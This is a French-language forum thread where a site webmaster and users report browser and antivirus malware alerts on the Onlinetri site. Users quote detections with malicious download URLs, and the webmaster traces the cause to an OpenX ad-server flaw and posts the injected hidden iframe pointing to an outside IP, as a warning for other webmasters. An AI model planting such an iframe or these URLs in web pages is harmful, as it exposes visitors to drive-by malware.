onlinetri et filtre anti-hameçonnage (Phishing)

[Thierry *OnlineTri*]

bonjour,

On vient de me signaler qu'Onlinetri déclenchait sur IE une alerte du filtre anti-hameçonnage. Disant que le site n'était pas sur & dangereux... Rencontrez vous aussi le problème ou etait-ce un incident isolé? (si oui, merci de signaler que le site n'est pas malveillant comme IE vous le propose).

T.

[Boubou]

J'ai eu l'alerte du filtre anti hameçonnage ainsi que mon antivirus qui a tilté

[drl9703]

J'ai aussi eu une alerte mais avec google chrome.

[Kenzo]

Idem

[favouille73]

j'ai eu aussi ce message hier soir vers 23h00 puis plus rien depuis.

[IronPion]

Rien vu avec Mozilla-Firefox...
Chui pourtant un fish facile à attraper vu mon niveau natation... !

[Thierry *OnlineTri*]

J'ai pu aussi avoir le message une fois avec Google Chrome mais impossible de le reproduire depuis. Il indiquait qu'Onlinetri contenait du contenu de 0hez00d.co.cc mais je n'en ai retrouvé aucune trace J'ai essayé de vérifier les pubs flash mais pas trop de succès de ce coté. La prochaine fois que l'un d'entre vous voit l'alerte pourriez vous m'indiquer les pubs affichées? (de mon coté je poursuis les tests mais ne sachant pas trop comment le site est analysé par les filtres, je tatonne...).

T.

[Olive60]

IDEM que toi Thierry -

hier soir avec Firefox 3.6.8

** Infos avec Kaspersky Internet Security 2010

Objet : http://0hez00d.co.cc/x55/1.jar
Nom ==> AppleT.class
Cheval de troie Trojan-Downloader.java.agent.cf

[fifi63]

Même prob un coup avec windows vista, un autre coup avec windows XP. Tentative de lecture d'un fichier asx qui lançait windows media player mais pas de vidéo et plantage de l'ordi ?!!

[Thierry *OnlineTri*]

IDEM que toi Thierry -

hier soir avec Firefox 3.6.8

** Infos avec Kaspersky Internet Security 2010

Objet : http://0hez00d.co.cc/x55/1.jar
Nom ==> AppleT.class
Cheval de troie Trojan-Downloader.java.agent.cf

Je recherche ce qui pourrait être la cause de ce téléchargement... mais pour l'instant je n'ai pas trop de piste car le problème semble très transitoire et je ne suis pas encore arrivé à le reproduire

T.

[TonyR6]

Une fois aussi pour moi hier, détecté par avast, depuis plus rien

[Akunamatata]

idem ce matin pour moi avec firefox 3.5.11
alerte avast

http://slmhssd.co.cc/x/index.php?s=8aea ... 55c|>{gzip} [L] JS:Downloader-ABN [Trj] (0)

[Yan05]

Pareil avec firefox:
connexion => lance un programme JAVA et mon antivirus le chope et Windows ferme firefox.

Cheval de troie GENERIC18.BPLI et GENERCI18.BPWD ...

à la 3ème connexion, plus de problème.

[Thierry *OnlineTri*]

Je pense avoir découvert le problème. Une faille dans le soft (openx) qui gère la pub a permis a un hacker d'injecter une ligne de code après certaines pubs. Ce code provoquait la lecture d'une page sur un autre site qui visiblement de temps en temps causait quelques soucis dirons nous...

le vilain code en question (publier ici si d'autres webmasters s'interrogent sur la question...):
<iframe src="http://85.234.190.64/tds/in.cgi?default" width="1" height="1" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe>

Je m'occupe du nettoyage de tout cela... merci pour tous vos rapports et n'hésitez pas à me signaler si vous trouvez quelque chose de louche sur le site!

T.

[anax]

Rien avec Mac OS X...